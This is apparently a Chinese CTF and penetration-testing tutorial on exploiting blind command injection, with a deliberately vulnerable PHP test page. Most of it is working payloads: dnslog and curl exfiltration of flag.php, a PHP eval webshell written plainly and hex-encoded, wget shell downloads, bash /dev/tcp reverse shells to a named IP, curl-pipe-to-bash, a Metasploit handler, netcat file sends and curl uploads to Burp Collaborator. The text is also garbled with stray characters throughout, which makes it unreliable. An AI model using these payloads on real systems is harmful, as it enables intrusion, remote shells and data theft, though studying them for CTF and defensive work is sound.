前言
在CTF題或在一些滲透測試中往往會遇到?jīng)]有回顯的命令執(zhí)行漏洞自晰,為了能更好的實(shí)現(xiàn)對無回顯命令執(zhí)行漏洞的利用凝化,我對此進(jìn)行了簡單總結(jié)。
判斷方法
命令執(zhí)行可能會存在命令執(zhí)行但沒有回顯酬荞,所以首先要判斷命令是否有執(zhí)行搓劫。確定命令可以執(zhí)行,然后就可以進(jìn)行無回顯命令執(zhí)行的利用了混巧。
1枪向、審計(jì)代碼
審計(jì)代碼,根據(jù)代碼邏輯判斷(這個(gè)就需要扎實(shí)的審計(jì)代碼能力的功底了)
2咧党、利用延時(shí)
ip=|sleep5
如果執(zhí)行后延時(shí)5秒秘蛔,就證明測試點(diǎn)存在命令執(zhí)行漏洞
3沿量、HTTP請求
注意:ping命令不會產(chǎn)生http請求
1.在公網(wǎng)服務(wù)器監(jiān)聽監(jiān)聽端口
nc -lp4444
2.向目標(biāo)服務(wù)器發(fā)起http請求伶选,執(zhí)行curl命令
ip=|curl ip:4444
如果向目標(biāo)服務(wù)器發(fā)起http請求后,公網(wǎng)服務(wù)器監(jiān)聽端口得到一些信息干像,就證明測試點(diǎn)存在命令執(zhí)行漏洞蛙埂。
4倦畅、DNS請求
如果請求的目標(biāo)不是ip地址而是域名,那么域名最終還要轉(zhuǎn)化成ip地址绣的,就肯定要做一次域名解析請求叠赐。那么假設(shè)我有個(gè)可控的二級域名,那么它發(fā)出三級域名解析的時(shí)候被辑,我這邊是能夠拿到它的域名解析請求的燎悍,這就相當(dāng)于可以配合DNS請求進(jìn)行命令執(zhí)行的判斷,這一般就被稱為dnslog盼理。(要通過dns請求即可通過ping命令谈山,也能通過curl命令,只要對域名進(jìn)行訪問宏怔,讓域名服務(wù)器進(jìn)行域名解析就可實(shí)現(xiàn)) 來源:安全脈搏
(1)首先去ceye.io注冊個(gè)賬號奏路,注冊完后會給一個(gè)域名
我注冊后給的域名是v4utm7.ceye.io
(2)如果有域名解析請求就會被記錄畴椰。訪問qwzf.v4utm7.ceye.io,那么就會記錄下來這個(gè)域名解析請求鸽粉。
簡單測試一下向目標(biāo)服務(wù)器發(fā)起http請求斜脂,執(zhí)行下面的命令
ip=|curl`whoami`.v4utm7.ceye.io
查看dnslog
若果得到執(zhí)行結(jié)果(如上面執(zhí)行whoami命令,得到www-data)触机,就說明測試點(diǎn)存在命令執(zhí)行帚戳。
利用方法
了解了無回顯命令執(zhí)行的判斷方法后,當(dāng)然是還需要了解學(xué)習(xí)一下無回顯命令執(zhí)行的利用方法儡首。
但測試?yán)梅椒ㄖ捌危紫纫獪?zhǔn)備一下環(huán)境。于是我寫出下面的測試代碼進(jìn)行利用測試:
index.php
<?phpheader("Content-type: text/html; charset=utf-8");highlight_file(__FILE__);include("flag.php");$ip=$_REQUEST['ip'];if($ip){shell_exec("ping -c 4 ".$ip);}?>
1蔬胯、執(zhí)行命令
利用條件:需要站點(diǎn)目錄具有寫權(quán)限
通過執(zhí)行命令对供,直接將php文件寫入到在瀏覽器可直接讀取的文件類型中(如txt文件),然后訪問txt文件即可得到php文件內(nèi)容
1.使用>或>>
cat flag.php > flag.txtcat flag.php >> flag.txt
2.使用cp命令
cp flag.php flag.txt
3.使用mv命令
mv flag.php flag.txt
通過執(zhí)行tar命令和zip命令打包或壓縮php文件氛濒,在瀏覽器上下載打包或壓縮文件解壓得到php文件內(nèi)容
(1)tar打包或tar打包并壓縮
tar cvf flag.tar flag.phptar zcvf flag.tar.gz flag.php#解打包并解壓縮:tar zxvf flag.tar.gz
解打包得到flag:
(2)zip壓縮
zip flag.zip flag.php#解壓縮:unzip flag.zip
等等产场。
2、寫webshell(直接寫入或外部下載webshell)
利用條件:需要站點(diǎn)目錄具有寫權(quán)限
1.寫webshell
echo3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.phpecho"<?php @eval(\$_POST[123]); ?>"> webshell.php
2.外部下載shell
利用條件:目標(biāo)服務(wù)器可以連接外網(wǎng)或可以與攻擊機(jī)互通舞竿,且能執(zhí)行wget命令
wget 網(wǎng)址 -O webshell.php#使用wget下載shell京景,使用參數(shù)-O來指定一個(gè)文件名
利用命令執(zhí)行寫webshell或外部下載webshell后,用蟻劍連接測試炬灭,發(fā)現(xiàn)成功
然后在蟻劍里直接查看flag.php文件醋粟,即可得到flag靡菇。
3重归、在vps上建立記錄腳本
利用條件:需要目標(biāo)服務(wù)器可以向公網(wǎng)服務(wù)器發(fā)起http請求,并且能執(zhí)行curl命令或wget命令
1.構(gòu)造記錄腳本
在自己的公網(wǎng)服務(wù)器站點(diǎn)根目錄寫入php文件厦凤,內(nèi)容如下:
record.php
2.構(gòu)造請求
在目標(biāo)服務(wù)器的測試點(diǎn)可以發(fā)送下面其中任意一條請求進(jìn)行測試
curl http://*.*.*.**/record.php?data=`cat flag.php`wget http://*.*.*.*/record.php?data=`cat flag.php`
3.測試
執(zhí)行命令后發(fā)現(xiàn)在公網(wǎng)服務(wù)器得到的flag.txt文件中鼻吮,只得到下面內(nèi)容,并未得到flag
于是考慮對命令執(zhí)行的結(jié)果進(jìn)行編碼后寫入flag.txt文件
curl http://*.*.*.**/record.php?data=`cat flag.php|base64`wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
最終得到
Base64解碼即可得到flag较鼓。
4椎木、通過dnslog帶出數(shù)據(jù)
(1)命令執(zhí)行時(shí)要避免空格,空格會導(dǎo)致空格后面的命令執(zhí)行不到博烂;
(2)將讀取的文件命令用反引號``包含起來香椎;
(3)拼接的域名有長度限制。
利用命令:
curl`命令`.域名
測試一下命令
#用<替換讀取文件中的空格禽篱,且對輸出結(jié)果base64編碼curl`cat
利用dnslog畜伐,查看文件內(nèi)容(flag.php文件內(nèi)容)
base64解碼得到flag
5、反彈shell
利用條件:目標(biāo)服務(wù)器可以向可通信的公網(wǎng)服務(wù)器發(fā)起http請求
1.服務(wù)器端執(zhí)行
nc -vv -lp 8888
2.命令執(zhí)行處執(zhí)行
bash -i >& /dev/tcp/47.95.206.199/8888 0>&1
3.payload
ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261
注意:百度搜索到的基本上都是上邊這個(gè)方法躺率,但經(jīng)過測試并未成功玛界。于是想到以前見過的一種方法
#1.首先在公網(wǎng)服務(wù)器使用nc命令監(jiān)聽端口nc -lvp4444#或nc -vv -lp 4444#2.然后在公網(wǎng)服務(wù)器上寫一個(gè)文件(我寫入到qwzf文件)万矾,內(nèi)容是下面命令bash -i >&/dev/tcp/x.x.x.165/44440>&1#3.最終瀏覽器上執(zhí)行的payload(實(shí)際上就是在目標(biāo)機(jī)執(zhí)行curl x.x.x.165:8002/qwzf|bash)ip=|curl x.x.x.165:8002/qwzf|bash
6、msf反向回連
利用條件:目標(biāo)服務(wù)器可以向可通信的公網(wǎng)服務(wù)器發(fā)起http請求
1.遠(yuǎn)程服務(wù)器用msf監(jiān)聽:
use exploit/multi/handlersetpayload linux/armle/shell/reverse_tcpsetlport4444setlhost xxx.xxx.xxx.xxxsetexitonsessionfalseexploit -j
2.目標(biāo)服務(wù)器執(zhí)行下面命令
ip=|bash -i >&/dev/tcp/xxxxx(vps公網(wǎng)ip)/44440>&1#如果上面這條命令在瀏覽器上執(zhí)行失敗慎框。那么要將上面這條命令寫入公網(wǎng)服務(wù)器上的一個(gè)文件中良狈,在msf開始監(jiān)聽后,在測試點(diǎn)執(zhí)行下面命令ip=|curl x.x.x.165:8002/qwzf|bash
3.公網(wǎng)服務(wù)器接收shell
目標(biāo)服務(wù)器上執(zhí)行命令后笨枯,會在公網(wǎng)服務(wù)器上接收到薪丁,然后在公網(wǎng)服務(wù)器上執(zhí)行以下命令getshell
sessions -i1shell
然后cat flag.php得到flag。
7馅精、使用nc
利用條件:要求目標(biāo)服務(wù)器也有nc工具
#1.公網(wǎng)服務(wù)器監(jiān)聽4444端口nc -tlp4444#2.目標(biāo)服務(wù)器執(zhí)行如下命令ip=|nc -t x.x.x.1654444< flag.php-u參數(shù)調(diào)整為udp,當(dāng)tcp不能使用的時(shí)候使用#1.公網(wǎng)服務(wù)器監(jiān)聽4444端口nc -ulp4444#2.目標(biāo)服務(wù)器執(zhí)行如下命令ip=|nc -u x.x.x.1654444< flag.php
8窥突、curl上傳文件讀取源碼
利用條件:目標(biāo)服務(wù)器curl命令可以正常執(zhí)行
使用curl -F將flag文件上傳到Burp的Collaborator Client(Collaborator Client 類似DNSLOG,其功能要比DNSLOG強(qiáng)大硫嘶,主要體現(xiàn)在可以查看POST請求包以及打Cookies)
1.獲取Collaborator Client分配給Burp的鏈接
打開Burp主界面 -> 菜單(Burp)-> Collaboraor Client -> 點(diǎn)擊Copy to Clipboard
Copy得到
jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
2.拼接payload并在命令執(zhí)行處提交
ip=|curl -X POST -Fxx=@flag.php http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
3.查看Collaborator Client收到的數(shù)據(jù)
成功得到flag阻问。